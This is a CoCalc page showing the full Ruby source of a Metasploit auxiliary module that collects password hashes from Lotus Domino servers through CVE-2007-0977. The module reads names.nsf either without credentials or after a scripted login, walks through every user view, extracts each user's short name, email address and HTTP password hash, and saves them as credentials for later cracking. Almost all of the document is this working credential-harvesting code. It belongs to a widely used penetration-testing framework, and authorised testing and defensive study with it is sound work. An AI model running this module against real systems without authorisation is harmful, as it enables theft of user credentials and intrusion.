CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Auxiliary::Report
9
include Msf::Auxiliary::Scanner
10
11
def initialize
12
super(
13
'Name' => 'Lotus Domino Password Hash Collector',
14
'Description' => 'Get users passwords hashes from names.nsf page',
15
'Author' => 'Tiago Ferreira <tiago.ccna[at]gmail.com>',
16
'License' => MSF_LICENSE,
17
'References' =>
18
[
19
['CVE' , '2007-0977']
20
]
21
)
22
23
register_options(
24
[
25
OptString.new('NOTES_USER', [false, 'The username to authenticate as', '']),
26
OptString.new('NOTES_PASS', [false, 'The password for the specified username' ]),
27
OptString.new('URI', [false, 'Define the path to the names.nsf file', '/names.nsf'])
28
])
29
end
30
31
def post_auth?
32
true
33
end
34
35
def run_host(ip)
36
user = datastore['NOTES_USER']
37
pass = datastore['NOTES_PASS']
38
@uri = normalize_uri(datastore['URI'])
39
40
if user.eql?('') && pass.eql?('')
41
print_status("#{peer} - Lotus Domino - Trying dump password hashes without credentials")
42
43
begin
44
res = send_request_raw({
45
'method' => 'GET',
46
'uri' => "#{@uri}\/$defaultview?Readviewentries",
47
}, 25)
48
49
if res.nil?
50
print_error('Connection failed')
51
return
52
end
53
54
if res && res.body.to_s =~ /\<viewentries/
55
print_good("#{peer} - Lotus Domino - OK names.nsf accessible without credentials")
56
cookie = ''
57
get_views(cookie, @uri)
58
59
elsif res && res.body.to_s =~ /names.nsf\?Login/
60
print_error("#{peer} - Lotus Domino - The remote server requires authentication")
61
return :abort
62
63
else
64
print_error("#{peer} - Lotus Domino - Unrecognized #{res.code} response")
65
vprint_error(res.to_s)
66
return :abort
67
68
end
69
70
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
71
rescue ::Timeout::Error, ::Errno::EPIPE
72
end
73
74
else
75
print_status("#{peer} - Lotus Domino - Trying dump password hashes with given credentials")
76
do_login(user, pass)
77
end
78
end
79
80
def do_login(user = nil, pass = nil)
81
post_data = "username=#{Rex::Text.uri_encode(user.to_s)}&password=#{Rex::Text.uri_encode(pass.to_s)}&RedirectTo=%2Fnames.nsf"
82
83
begin
84
85
res = send_request_cgi({
86
'method' => 'POST',
87
'uri' => '/names.nsf?Login',
88
'data' => post_data
89
}, 20)
90
91
if res.nil?
92
print_error("#{peer} - Connection timed out")
93
return
94
end
95
96
if res && res.code == 302
97
if res.get_cookies =~ /DomAuthSessId=(.*);(.*)/i
98
cookie = "DomAuthSessId=#{$1}"
99
elsif res.get_cookies =~ /LtpaToken=(.*);(.*)/i
100
cookie = "LtpaToken=#{$1}"
101
else
102
print_error("#{peer} - Lotus Domino - Unrecognized 302 response")
103
return :abort
104
end
105
print_good("#{peer} - Lotus Domino - SUCCESSFUL authentication for '#{user}'")
106
print_status("#{peer} - Lotus Domino - Getting password hashes")
107
get_views(cookie, @uri)
108
109
elsif res && res.body.to_s =~ /names.nsf\?Login/
110
print_error("#{peer} - Lotus Domino - Authentication error: failed to login as '#{user}'")
111
return :abort
112
113
else
114
print_error("#{peer} - Lotus Domino - Unrecognized #{res.code} response")
115
return :abort
116
end
117
118
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
119
rescue ::Timeout::Error, ::Errno::EPIPE
120
end
121
end
122
123
def get_views(cookie, uri)
124
begin
125
res = send_request_raw({
126
'method' => 'GET',
127
'uri' => "#{uri}\/$defaultview?Readviewentries",
128
'cookie' => cookie
129
}, 25)
130
if res && res.body
131
max = res.body.scan(/siblings=\"(.*)\"/).first.join
132
133
1.upto(max.to_i) do |i|
134
res = send_request_raw({
135
'method' => 'GET',
136
'uri' => "#{uri}\/$defaultview?Readviewentries&Start=#{i}",
137
'cookie' => cookie
138
}, 25)
139
140
view_id = res.body.scan(/unid="([^\s]+)"/)[0].join
141
dump_hashes(view_id, cookie, uri)
142
end
143
144
end
145
146
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
147
rescue ::Timeout::Error, ::Errno::EPIPE
148
end
149
end
150
151
def dump_hashes(view_id, cookie, uri)
152
begin
153
res = send_request_raw({
154
'method' => 'GET',
155
'uri' => "#{uri}\/$defaultview/#{view_id}?OpenDocument",
156
'cookie' => cookie
157
}, 25)
158
159
if res && res.body
160
doc = res.get_html_document
161
short_name = doc.xpath('//input[@name="ShortName"]/@value').text
162
user_mail = doc.xpath('//input[@name="InternetAddress"]/@value').text
163
pass_hash = doc.xpath('//input[@name="$dspHTTPPassword" or @name="dspHTTPPassword"]/@value').first&.text
164
165
short_name = 'NULL' if short_name.to_s.strip.empty?
166
user_mail = 'NULL' if user_mail.to_s.strip.empty?
167
pass_hash = 'NULL' if pass_hash.to_s.strip.empty?
168
169
print_good("#{peer} - Lotus Domino - Account Found: #{short_name}, #{user_mail}, #{pass_hash}")
170
171
if pass_hash != 'NULL'
172
domino_svc = report_service(
173
:host => rhost,
174
:port => rport,
175
:name => (ssl ? 'https' : 'http')
176
)
177
178
report_cred(
179
user: short_name,
180
password: pass_hash,
181
proof: "WEBAPP=\"Lotus Domino\", USER_MAIL=#{user_mail}, HASH=#{pass_hash}, VHOST=#{vhost}"
182
)
183
end
184
end
185
186
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
187
rescue ::Timeout::Error, ::Errno::EPIPE
188
end
189
end
190
191
def report_cred(opts)
192
193
service_data = service_details.merge({workspace_id: myworkspace_id})
194
195
credential_data = {
196
origin_type: :service,
197
module_fullname: fullname,
198
username: opts[:user],
199
private_data: opts[:password],
200
private_type: :nonreplayable_hash,
201
jtr_format: 'dominosec'
202
}.merge(service_data)
203
204
login_data = {
205
core: create_credential(credential_data),
206
status: Metasploit::Model::Login::Status::UNTRIED,
207
proof: opts[:proof]
208
}.merge(service_data)
209
210
create_credential_login(login_data)
211
end
212
end
213
214